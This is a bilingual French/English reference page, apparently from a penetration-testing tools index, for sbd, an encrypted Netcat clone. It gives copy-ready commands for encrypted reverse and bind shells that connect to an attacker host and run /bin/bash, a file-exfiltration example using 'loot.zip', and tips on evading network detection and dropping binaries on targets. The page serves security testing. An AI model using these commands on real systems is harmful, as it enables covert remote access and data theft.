← retour aux outils back to tools

# sbd

Clone de Netcat avec chiffrement AES fort et exécution de programme distant, portable sur toutes les plateformes. Couramment utilisé comme backdoor/listener chiffré. Netcat-like tool with strong AES encryption and remote program execution, portable across platforms. Commonly used as an encrypted backdoor/listener.

↗ https://www.kali.org/tools/sbd/

## Overview

sbd is a portable Netcat clone that adds AES-128-CBC encryption plus HMAC-SHA1 authentication to its traffic, along with the ability to execute a program on connect. Where plain Netcat traffic is trivially fingerprinted and sniffable, sbd gives you an encrypted transport for reverse/bind shells and file transfer — useful when a listener needs to avoid basic network-based detection during an engagement.

## Common Usage

Listener on the attacker box, spawns a shell on connect, AES-encrypted

    sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

Connect back from the target to the listener above

    sbd <attacker_ip> 4444 -e /bin/bash -k SuperSecretPass

    sbd -l -p 4444 -e /bin/bash -k SuperSecretPass    # run on target

    sbd <target_ip> 4444 -k SuperSecretPass            # connect from attacker

    sbd -l -p 4444 -k SuperSecretPass > loot.zip        # on receiving end

    sbd <receiver_ip> 4444 -k SuperSecretPass < loot.zip  # on sending end

Keep listening after a client disconnects (multi-connection listener)

    sbd -l -p 4444 -c -e /bin/bash -k SuperSecretPass

## Tips

- Always set `-k` — without it, sbd falls back to unencrypted traffic that offers no advantage over plain Netcat
- The encrypted stream still has a distinctive handshake pattern; it evades naive plaintext signature matching, not full TLS/JA3-style inspection
- Statically compiled sbd binaries are handy to drop on a target that lacks Netcat and where you don’t want a plaintext channel

Help / Man page

    Usage:
      Client: sbd [-c] [-k password] host port [port]...
      Server: sbd [-c] [-k password] -l -p port [-e prog] [-i secs] [-w secs]

      -c              continue listening after a connection ends (server only)
      -e prog         execute prog after connection, with I/O redirected to socket
      -k password     enable AES-128-CBC encryption with this password
      -l              listen mode
      -p port         local port to listen on (server)
      -i secs         idle timeout in seconds
      -w secs         network write timeout in seconds
      -v              verbose

## Vue d’ensemble

sbd est un clone portable de Netcat qui ajoute un chiffrement AES-128-CBC et une authentification HMAC-SHA1 à son trafic, ainsi que la possibilité d’exécuter un programme à la connexion. Là où le trafic Netcat classique est trivialement identifiable et sniffable, sbd offre un transport chiffré pour les reverse/bind shells et le transfert de fichiers : utile quand un listener doit éviter une détection réseau basique pendant une mission.

## Utilisation courante

    # Listener côté attaquant, lance un shell à la connexion, chiffré AES
    sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

    # Connexion retour depuis la cible vers le listener ci-dessus
    sbd <attacker_ip> 4444 -e /bin/bash -k SuperSecretPass

    # À lancer sur la cible
    sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

    # Connexion depuis l'attaquant
    sbd <target_ip> 4444 -k SuperSecretPass

    # Côté réception (fichier)
    sbd -l -p 4444 -k SuperSecretPass > loot.zip

    # Côté envoi (fichier)
    sbd <receiver_ip> 4444 -k SuperSecretPass < loot.zip

    # Continuer à écouter après la déconnexion d'un client (listener multi-connexions)
    sbd -l -p 4444 -c -e /bin/bash -k SuperSecretPass

## Conseils

- Toujours définir `-k` : sans cela, sbd retombe sur un trafic non chiffré qui n’offre aucun avantage par rapport à Netcat classique
- Le flux chiffré a tout de même un motif de handshake distinctif ; il échappe à la détection naïve par signature en clair, pas à une inspection complète type TLS/JA3
- Les binaires sbd compilés statiquement sont pratiques à déposer sur une cible dépourvue de Netcat et où l’on ne veut pas de canal en clair

Aide / Page de manuel

    Usage:
      Client: sbd [-c] [-k password] host port [port]...
      Server: sbd [-c] [-k password] -l -p port [-e prog] [-i secs] [-w secs]

      -c              continue listening after a connection ends (server only)
      -e prog         execute prog after connection, with I/O redirected to socket
      -k password     enable AES-128-CBC encryption with this password
      -l              listen mode
      -p port         local port to listen on (server)
      -i secs         idle timeout in seconds
      -w secs         network write timeout in seconds
      -v              verbose